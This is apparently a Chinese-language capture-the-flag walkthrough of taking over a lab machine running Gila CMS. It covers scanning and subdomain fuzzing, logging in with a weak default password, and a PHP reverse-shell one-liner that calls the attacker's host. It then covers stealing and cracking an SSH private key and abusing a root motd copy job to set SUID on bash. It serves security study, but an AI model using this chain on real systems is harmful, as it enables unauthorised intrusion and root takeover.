主机探活
nmap -sP 192.168.159.0/24
目标靶机IP为:192.168.159.181
端口发现
nmap -sV -p- -A 192.168.159.181

目标靶机开放端口为:21、22、80
21端口
nmap扫描结果显示可以匿名访问ftp服务器,访问

查看提示信息

知道了现在充值面板密码为默认密码,知道了新的域名 ceng-company.vm ,知道了两个用户名Kevin ,Aaron
80端口
修改本地hosts文件
vi /etc/hosts

目录扫描
dirsearch -u http://ceng-company.vm

只有一个页面,且访问后无有用信息
子域名
wfuzz -H 'HOST: FUZZ.ceng-company.vm' -u 'http://192.168.159.181' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 76,53

找到一个子域名 admin
将其放入本地 hosts 文件,并访问


不让访问,并且扫目录也没有收获。。。
尝试了 x-forwarded-for 也不能访问
后面发现是字典太小了,重新换个大点的字典扫描
gobuster dir -u http://admin.ceng-company.vm \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak,zip,zip.bak

找到一个新的目录 gila ,访问
gilaCMS
发现这个网站是一个 CMS,但是不知道版本信息

目录扫描看一下

存在admin页面,访问查看

根据我们之前从 ftp 上获得的信息,这里应该存在弱口令,尝试
发现用户名:Kevin@ceng-company.vm 密码:admin
反弹shell
利用弱口令成功登陆后台

寻找到了可以修改的php页面


将其改为 php_reverse

本地开启端口监听并保存触发该文件

成功获得shell
提权
sudo
习惯性 sudo -l 了一下,没想到真的有。。。(一般 www都没有或者需要密码)

可以以 swartz 用户的身份运行 runphp.sh 脚本
查看这个脚本相关信息

可读可执行,运行一个php环境
执行该脚本
sudo -u swartz /home/swartz/runphp.sh

成功进入 php 命令行模式
swartz
先弹个shell回来
$sock=fsockopen("192.168.159.131",7778);exec("/bin/sh -i <&3 >&3 2>&3");

成功切换到 swartz用户
在经过 suid 等一系列常规操作后没有发现什么有用的信息,因此进行信息收集
在/home/mitnick 目录下发现 .ssh 文件夹属主可读可执行

而我们当前用户刚好是该属组,进入文件夹查看
ssh免密登录
发现公私钥,应该可以进行免密登录

开启python服务,本机下载该私钥文件
python3 -m http.server
wget 192.168.159.181:8000/id_rsa

修改该私钥文件权限为 400,否则不可用

使用该私钥连接主机
ssh 192.168.159.181 -l mitnick -i id_rsa

私钥有密码。。。
# 提取私钥中的hash
ssh2john id_rsa > hash
# 暴力破解密码
john --wordlist=/usr/share/wordlists/rockyou.txt hash

获得密码:legend
重新连接

成功连接主机
上传脚本
在 mitnick 用户下进行了 suid 等一系列操作,没有发现可用信息,只能上传pspy脚本测试
wget 192.168.159.131/pspy64
chmod +x pspy64
./pspy64

发现两条有意思的命令
/bin/cp /var/update-motd.d/00-header /var/update-motd.d/10-help-text /var/update-motd.d/90-updates-available /var/update-motd.d/91-release-upgrade /var/update-motd.d/99-esm /etc/update-motd.d/
/bin/sh -c /bin/cp /var/update-motd.d/* /etc/update-motd.d/
这个文件看着很眼熟,是在系统启动时运行的,可以设置开机界面的显示
我们先看一看


可以看见 var 下的文件不可修改, etc 下的文件可修改
而按时运行的脚本是将 var 下的复制到 etc 下
并且这个登录显示的默认位置为 etc 下,也就是说这个可以修改的文件才是真正控制开机显示的,而cp命令大概率是为了防止它被修改
开机显示 /etc/update-motd.d/

修改 00-header 文件,将/bin/bash 设置为suid,实现提权
chmod +s /bin/bash

重新ssh登录,成功获取root权限
/bin/bash -p # -p 参数之前说过,不再详说,目的是使 euid 不失效

|